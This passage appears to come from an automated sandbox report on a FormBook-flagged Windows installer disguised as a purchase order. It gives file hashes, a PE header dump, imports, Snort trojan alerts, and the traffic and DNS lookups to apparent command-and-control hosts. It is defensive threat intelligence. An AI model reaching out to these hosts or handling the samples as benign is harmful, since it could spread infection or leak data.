Preview:	u......cW.\|\|.<.O......6&.G..z...C..;.9D5..)j)S...es.@...j..2...C..hs.8&b....m...K....jO..I....?.n.H.+..(......=p......T.......I..k.v..#.)..n.a{+.(...@.....i...L....XE.h...l..W..~..!..-.....R{!.....T =...m....\|:..YI../....`.6..5.".s.....T..d@.<[3.'.ZH...]e..n/.6.V......A.(.'...SgN.....\|...:.^`.w9D.U./7....L.OJ.md..(......:r.!\...)q...........(\|IN.g......qfl.....1....3....\|...z..i.......S.....k.R\|...}....nl..Qz.hCY<..3.z.(.d.....T.3..8].R"+..f...8...w. &.@2.7......T......vdY..P...j......P..}.....(i.T..@.$.....4.......mCQ.R..L..?o..a...#..+...K..........jXAj~...{Bvh.p....}<......(.Vi.h'.N....^R.A...?....)[$k....(......?8u..`.YxO.v./^..2.L..ru......\..d..1....Yn1^...2.`D..........$......H. $. ....V..G....m.0%..W.J.J.b..._..p]..mG..~.e:...f...O...I...\/.....y...h.C\eZ...{...5..X...<y.9\|8...O..Z...+\|..><.....HObytSna.v.-B.{^j0D.L...X.ovp.DLl....eht8MV.E.P^...3.MqT...`..d.hU.-.%h0.....35w:.b.....HC..Q......9$4`j.i.....S....Ha...i..,NHQ(."%...T..t

C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll Download File
Process:	C:\Users\user\Desktop\PO# 0499699.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.855045165595541
Encrypted:	false
SSDEEP:	192:xPtkiQJr7V9r3HcU17S8g1w5xzWxy6j2V7i77blbTc4v:g7VpNo8gmOyRsVc4
MD5:	FCCFF8CB7A1067E23FD2E2B63971A8E1
SHA1:	30E2A9E137C1223A78A0F7B0BF96A1C361976D91
SHA-256:	6FCEA34C8666B06368379C6C402B5321202C11B00889401C743FB96C516C679E
SHA-512:	F4335E84E6F8D70E462A22F1C93D2998673A7616C868177CAC3E8784A3BE1D7D0BB96F2583FA0ED82F4F2B6B8F5D9B33521C279A42E055D80A94B4F3F1791E0C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: RFQ Products.xlsx, Detection: malicious, Browse Filename: ekeson and sons.exe, Detection: malicious, Browse Filename: 0900000900.exe, Detection: malicious, Browse Filename: 090000.exe, Detection: malicious, Browse Filename: PaymentCopy2021_pdf.exe, Detection: malicious, Browse Filename: doc64654475795.exe, Detection: malicious, Browse Filename: NEW ORDER.exe, Detection: malicious, Browse Filename: DOC_120229921_JUNE2021.exe, Detection: malicious, Browse Filename: ORDER47.exe, Detection: malicious, Browse Filename: jZuCbIpwNX.exe, Detection: malicious, Browse Filename: DocumentCopy_pdf.exe, Detection: malicious, Browse Filename: KK71rkO0Tf.exe, Detection: malicious, Browse Filename: WP7IsjaUga.exe, Detection: malicious, Browse Filename: RFQ.exe, Detection: malicious, Browse Filename: Proforma Invoice & Bank Swift Copy.exe, Detection: malicious, Browse Filename: Mitchell_RFQ_36496.exe, Detection: malicious, Browse Filename: LEMO.exe, Detection: malicious, Browse Filename: DOC120229921JUNE2021.exe, Detection: malicious, Browse Filename: payment Advice.exe, Detection: malicious, Browse Filename: scan202106150100101.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L.....$_...........!..... ..........!).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..\|....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zecmhzzvivzctl Download File
Process:	C:\Users\user\Desktop\PO# 0499699.exe
File Type:	data
Category:	dropped
Size (bytes):	56401
Entropy (8bit):	4.977992928718906
Encrypted:	false
SSDEEP:	1536:2pYPhnTZ684Ym5B2/xlR6SJYEB7UevJYyCiXvv8V6i0oZqRU:qiTs8mc/f8S64RvUiX38Ai0LRU
MD5:	4B417CE42F14AC222273665E7433A174
SHA1:	9D6925CBE23E2816AC9C2AFA46E878B815C3B6F4
SHA-256:	CD1ADEA095ED98EDE4027143C697D3E848EF93C4337D36022569F25C076D862C
SHA-512:	410945A2088ED65ED0C220056C40F9F4E352F2A86B392F264B07AA7B7DD750348422922BDC89913B6DD574916D3B60DF6D6460B288FB9C374B13F43DDFB7246C
Malicious:	false
Reputation:	low
Preview:	U...........l.....m.....n.....o.....p.....q.....r.....s.....t...\.u.....v.....w.....x.....y.....z.....{.....\|.....}.....~...........................4...........................................................,.................P...........9.....................................................9...................................9...........P...........9.............................P.........................................Y.....E.......................,.....T.............................P.............................Y...................................................................................P.............................Y...........P...........Y...........................................................,.....T.....e.......................P......................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.89980442079233
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PO# 0499699.exe
File size:	217681
MD5:	028549d34db828041eed451464873036
SHA1:	82d6a07b48ed56c009eb553ed15cb0307cf97914
SHA256:	49e85a486931e92ab028dc10d02b1d2d5860a6656bf6d50cef71542fc0905105
SHA512:	70f95d8a783172882fb98c4e50319d39fb25076a86179922686cb8bfc8def1de4540baa06661920551e235ec029a35ac7f1490285dc69a929cea31c0ee269188
SSDEEP:	3072:cLk395hYXJDMXOkf3JS64b4PMIQsTzxcJ+2LRilKs4qYU6zwj3OaF9ltMvhDWQ+F:cQqWXL3g64b0MIlcM4CwbwLlqZ4Pt
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................Z.........

File Icon


Icon Hash:	b2a88c96b2ca6a72

Static PE Info

General
Entrypoint:	0x4030cb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B1AE3C1 [Sat Dec 5 22:50:41 2009 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7fa974366048f9c551ef45714595665e

Entrypoint Preview

Instruction
sub esp, 00000180h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409160h
xor esi, esi
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407030h]
push 00008001h
call dword ptr [004070B0h]
push ebx
call dword ptr [0040727Ch]
push 00000008h
mov dword ptr [00423F38h], eax
call 00007F51589ECFD6h
mov dword ptr [00423E84h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 00000160h
push eax
push ebx
push 0041F430h
call dword ptr [00407158h]
push 00409154h
push 00423680h
call 00007F51589ECC89h
call dword ptr [004070ACh]
mov edi, 00429000h
push eax
push edi
call 00007F51589ECC77h
push ebx
call dword ptr [0040710Ch]
cmp byte ptr [00429000h], 00000022h
mov dword ptr [00423E80h], eax
mov eax, edi
jne 00007F51589EA3ECh
mov byte ptr [esp+14h], 00000022h
mov eax, 00429001h
push dword ptr [esp+14h]
push eax
call 00007F51589EC76Ah
push eax
call dword ptr [0040721Ch]
mov dword ptr [esp+1Ch], eax
jmp 00007F51589EA445h
cmp cl, 00000020h
jne 00007F51589EA3E8h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F51589EA3DCh
cmp byte ptr [eax], 00000022h
mov byte ptr [eax+eax+00h], 00000000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0xc68	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x28c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x58d2	0x5a00	False	0.665234375	data	6.43310034828	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1190	0x1200	False	0.4453125	data	5.17976375781	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1af78	0x400	False	0.55078125	data	4.6178023207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x24000	0x8000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2c000	0xc68	0xe00	False	0.407645089286	data	3.98284921479	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2c1d8	0x2e8	data	English	United States
RT_DIALOG	0x2c4c0	0x100	data	English	United States
RT_DIALOG	0x2c5c0	0x11c	data	English	United States
RT_DIALOG	0x2c6e0	0x60	data	English	United States
RT_GROUP_ICON	0x2c740	0x14	data	English	United States
RT_VERSION	0x2c758	0x240	data
RT_MANIFEST	0x2c998	0x2cc	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathA, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, SetFileAttributesA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, GetWindowsDirectoryA, SetFileTime, GetCommandLineA, SetErrorMode, LoadLibraryA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, lstrlenA, lstrcatA, GetSystemDirectoryA, GetVersion, CloseHandle, lstrcmpiA, lstrcmpA, ExpandEnvironmentStringsA, GlobalFree, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GetModuleHandleA, LoadLibraryExA, GetProcAddress, FreeLibrary, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, WriteFile, ReadFile, MulDiv, SetFilePointer, FindClose, FindNextFileA, FindFirstFileA, DeleteFileA, GetTempPathA
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, DestroyWindow, CreateDialogParamA, SetTimer, SetWindowTextA, PostQuitMessage, SetForegroundWindow, wsprintfA, SendMessageTimeoutA, FindWindowExA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, OpenClipboard, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongA, LoadImageA, GetDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndPaint, ShowWindow
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectA, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA, SHGetSpecialFolderLocation
ADVAPI32.dll	RegQueryValueExA, RegSetValueExA, RegEnumKeyA, RegEnumValueA, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Version Infos

Description	Data
LegalCopyright	bait
FileVersion	7.10.6.0
CompanyName	peacetime
LegalTrademarks	aa
Comments	premed
ProductName	tore
FileDescription	unsubstantiated
Translation	0x0000 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/15/21-14:08:31.562692	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49763	80	192.168.2.4	91.195.240.94
06/15/21-14:08:31.562692	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49763	80	192.168.2.4	91.195.240.94
06/15/21-14:08:31.562692	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49763	80	192.168.2.4	91.195.240.94
06/15/21-14:08:53.527289	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49766	80	192.168.2.4	154.90.65.115
06/15/21-14:08:53.527289	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49766	80	192.168.2.4	154.90.65.115
06/15/21-14:08:53.527289	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49766	80	192.168.2.4	154.90.65.115
06/15/21-14:09:20.436112	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49771	80	192.168.2.4	34.102.136.180
06/15/21-14:09:20.436112	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49771	80	192.168.2.4	34.102.136.180
06/15/21-14:09:20.436112	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49771	80	192.168.2.4	34.102.136.180
06/15/21-14:09:20.553263	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49771	34.102.136.180	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 15, 2021 14:08:31.543912888 CEST	49763	80	192.168.2.4	91.195.240.94
Jun 15, 2021 14:08:31.562367916 CEST	80	49763	91.195.240.94	192.168.2.4
Jun 15, 2021 14:08:31.562540054 CEST	49763	80	192.168.2.4	91.195.240.94
Jun 15, 2021 14:08:31.562691927 CEST	49763	80	192.168.2.4	91.195.240.94
Jun 15, 2021 14:08:31.580952883 CEST	80	49763	91.195.240.94	192.168.2.4
Jun 15, 2021 14:08:31.618757010 CEST	80	49763	91.195.240.94	192.168.2.4
Jun 15, 2021 14:08:31.618825912 CEST	80	49763	91.195.240.94	192.168.2.4
Jun 15, 2021 14:08:31.619138002 CEST	49763	80	192.168.2.4	91.195.240.94
Jun 15, 2021 14:08:31.619235992 CEST	49763	80	192.168.2.4	91.195.240.94
Jun 15, 2021 14:08:31.637501001 CEST	80	49763	91.195.240.94	192.168.2.4
Jun 15, 2021 14:08:36.760860920 CEST	49764	80	192.168.2.4	66.235.200.147
Jun 15, 2021 14:08:36.778078079 CEST	80	49764	66.235.200.147	192.168.2.4
Jun 15, 2021 14:08:36.778228998 CEST	49764	80	192.168.2.4	66.235.200.147
Jun 15, 2021 14:08:36.778527975 CEST	49764	80	192.168.2.4	66.235.200.147
Jun 15, 2021 14:08:36.794924974 CEST	80	49764	66.235.200.147	192.168.2.4
Jun 15, 2021 14:08:37.277053118 CEST	49764	80	192.168.2.4	66.235.200.147
Jun 15, 2021 14:08:37.293931007 CEST	80	49764	66.235.200.147	192.168.2.4
Jun 15, 2021 14:08:37.294076920 CEST	49764	80	192.168.2.4	66.235.200.147
Jun 15, 2021 14:08:47.874267101 CEST	49765	80	192.168.2.4	103.224.182.244
Jun 15, 2021 14:08:48.035000086 CEST	80	49765	103.224.182.244	192.168.2.4
Jun 15, 2021 14:08:48.035196066 CEST	49765	80	192.168.2.4	103.224.182.244
Jun 15, 2021 14:08:48.035409927 CEST	49765	80	192.168.2.4	103.224.182.244
Jun 15, 2021 14:08:48.222034931 CEST	80	49765	103.224.182.244	192.168.2.4
Jun 15, 2021 14:08:48.222336054 CEST	49765	80	192.168.2.4	103.224.182.244
Jun 15, 2021 14:08:48.222495079 CEST	49765	80	192.168.2.4	103.224.182.244
Jun 15, 2021 14:08:48.383236885 CEST	80	49765	103.224.182.244	192.168.2.4
Jun 15, 2021 14:08:53.279086113 CEST	49766	80	192.168.2.4	154.90.65.115
Jun 15, 2021 14:08:53.526993990 CEST	80	49766	154.90.65.115	192.168.2.4
Jun 15, 2021 14:08:53.527154922 CEST	49766	80	192.168.2.4	154.90.65.115
Jun 15, 2021 14:08:53.527288914 CEST	49766	80	192.168.2.4	154.90.65.115
Jun 15, 2021 14:08:53.774998903 CEST	80	49766	154.90.65.115	192.168.2.4
Jun 15, 2021 14:08:53.775027037 CEST	80	49766	154.90.65.115	192.168.2.4
Jun 15, 2021 14:08:53.775244951 CEST	49766	80	192.168.2.4	154.90.65.115
Jun 15, 2021 14:08:53.775281906 CEST	49766	80	192.168.2.4	154.90.65.115
Jun 15, 2021 14:08:54.025013924 CEST	80	49766	154.90.65.115	192.168.2.4
Jun 15, 2021 14:09:04.227658987 CEST	49769	80	192.168.2.4	154.83.72.159
Jun 15, 2021 14:09:04.490639925 CEST	80	49769	154.83.72.159	192.168.2.4
Jun 15, 2021 14:09:04.490869999 CEST	49769	80	192.168.2.4	154.83.72.159
Jun 15, 2021 14:09:04.491095066 CEST	49769	80	192.168.2.4	154.83.72.159
Jun 15, 2021 14:09:04.773657084 CEST	80	49769	154.83.72.159	192.168.2.4
Jun 15, 2021 14:09:04.774152040 CEST	49769	80	192.168.2.4	154.83.72.159
Jun 15, 2021 14:09:04.774286032 CEST	49769	80	192.168.2.4	154.83.72.159
Jun 15, 2021 14:09:05.038458109 CEST	80	49769	154.83.72.159	192.168.2.4
Jun 15, 2021 14:09:09.838262081 CEST	49770	80	192.168.2.4	172.67.175.134
Jun 15, 2021 14:09:09.854780912 CEST	80	49770	172.67.175.134	192.168.2.4
Jun 15, 2021 14:09:09.855093956 CEST	49770	80	192.168.2.4	172.67.175.134
Jun 15, 2021 14:09:09.855424881 CEST	49770	80	192.168.2.4	172.67.175.134
Jun 15, 2021 14:09:09.871433020 CEST	80	49770	172.67.175.134	192.168.2.4
Jun 15, 2021 14:09:10.342483044 CEST	49770	80	192.168.2.4	172.67.175.134
Jun 15, 2021 14:09:10.358881950 CEST	80	49770	172.67.175.134	192.168.2.4
Jun 15, 2021 14:09:10.359006882 CEST	49770	80	192.168.2.4	172.67.175.134

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 15, 2021 14:07:03.630290031 CEST	53097	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:03.655522108 CEST	53	53097	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:04.713669062 CEST	49257	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:04.740402937 CEST	53	49257	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:05.379256964 CEST	62389	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:05.412056923 CEST	53	62389	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:13.626872063 CEST	49910	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:13.660141945 CEST	53	49910	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:16.786220074 CEST	55854	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:16.819343090 CEST	53	55854	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:17.447066069 CEST	64549	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:17.480272055 CEST	53	64549	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:22.519848108 CEST	63153	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:22.545427084 CEST	53	63153	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:23.168483019 CEST	52991	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:23.198626995 CEST	53	52991	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:24.157567978 CEST	53700	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:24.189536095 CEST	53	53700	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:25.209332943 CEST	51726	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:25.233325005 CEST	53	51726	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:25.924491882 CEST	56794	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:25.951741934 CEST	53	56794	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:28.801476002 CEST	56534	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:28.826896906 CEST	53	56534	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:29.459189892 CEST	56627	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:29.483875036 CEST	53	56627	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:30.130206108 CEST	56621	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:30.154815912 CEST	53	56621	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:31.063672066 CEST	63116	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:31.087712049 CEST	53	63116	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:32.015616894 CEST	64078	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:32.050307035 CEST	53	64078	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:33.260452986 CEST	64801	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:33.290334940 CEST	53	64801	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:34.223455906 CEST	61721	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:34.255251884 CEST	51255	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:34.256113052 CEST	53	61721	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:34.287807941 CEST	53	51255	8.8.8.8	192.168.2.4
Jun 15, 2021 14:07:59.031033039 CEST	61522	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:07:59.070911884 CEST	53	61522	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:00.696238995 CEST	52337	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:00.823035002 CEST	53	52337	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:01.523531914 CEST	55046	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:01.637738943 CEST	53	55046	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:02.090389967 CEST	49612	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:02.125869036 CEST	53	49612	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:02.677450895 CEST	49285	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:02.713360071 CEST	53	49285	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:03.147813082 CEST	50601	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:03.188688040 CEST	53	50601	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:05.535136938 CEST	60875	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:05.571275949 CEST	53	60875	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:06.040538073 CEST	56448	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:06.076280117 CEST	53	56448	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:07.912661076 CEST	59172	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:07.940186024 CEST	53	59172	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:07.992605925 CEST	62420	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:08.045046091 CEST	53	62420	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:08.724035978 CEST	60579	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:08.762414932 CEST	53	60579	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:09.753443956 CEST	50183	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:09.790220976 CEST	53	50183	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:15.922157049 CEST	61531	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:15.962099075 CEST	53	61531	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:26.372656107 CEST	49228	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:26.490681887 CEST	53	49228	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:31.499614000 CEST	59794	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:31.536499023 CEST	53	59794	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:36.627052069 CEST	55916	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:36.759160995 CEST	53	55916	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:42.329577923 CEST	52752	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:42.677730083 CEST	53	52752	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:47.689511061 CEST	60542	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:47.872950077 CEST	53	60542	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:53.240931034 CEST	60689	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:53.277836084 CEST	53	60689	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:54.202271938 CEST	64206	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:54.249357939 CEST	53	64206	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:57.139223099 CEST	50904	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:57.190099955 CEST	53	50904	8.8.8.8	192.168.2.4
Jun 15, 2021 14:08:59.039870024 CEST	57525	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:08:59.156970978 CEST	53	57525	8.8.8.8	192.168.2.4
Jun 15, 2021 14:09:04.177385092 CEST	53814	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:09:04.226077080 CEST	53	53814	8.8.8.8	192.168.2.4
Jun 15, 2021 14:09:09.787775040 CEST	53418	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:09:09.835705042 CEST	53	53418	8.8.8.8	192.168.2.4
Jun 15, 2021 14:09:20.379177094 CEST	62833	53	192.168.2.4	8.8.8.8
Jun 15, 2021 14:09:20.417951107 CEST	53	62833	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 15, 2021 14:08:26.372656107 CEST	192.168.2.4	8.8.8.8	0xda42	Standard query (0)	www.skincarezwolle.com	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:31.499614000 CEST	192.168.2.4	8.8.8.8	0x404a	Standard query (0)	www.nuskinhk.com	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:36.627052069 CEST	192.168.2.4	8.8.8.8	0x8a0e	Standard query (0)	www.yourcreativeconsultantgroup.com	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:42.329577923 CEST	192.168.2.4	8.8.8.8	0x7b7e	Standard query (0)	www.uxdnxodpo.icu	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:47.689511061 CEST	192.168.2.4	8.8.8.8	0x5c9	Standard query (0)	www.esmcharts.com	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:53.240931034 CEST	192.168.2.4	8.8.8.8	0x1e96	Standard query (0)	www.zgwljypx.com	A (IP address)	IN (0x0001)
Jun 15, 2021 14:08:59.039870024 CEST	192.168.2.4	8.8.8.8	0xd5f3	Standard query (0)	www.cestsansgluten.net	A (IP address)	IN (0x0001)
Jun 15, 2021 14:09:04.177385092 CEST	192.168.2.4	8.8.8.8	0x9d24	Standard query (0)	www.jackgaughan.net	A (IP address)	IN (0x0001)
Jun 15, 2021 14:09:09.787775040 CEST	192.168.2.4	8.8.8.8	0x955a	Standard query (0)	www.yihetubu.com	A (IP address)	IN (0x0001)
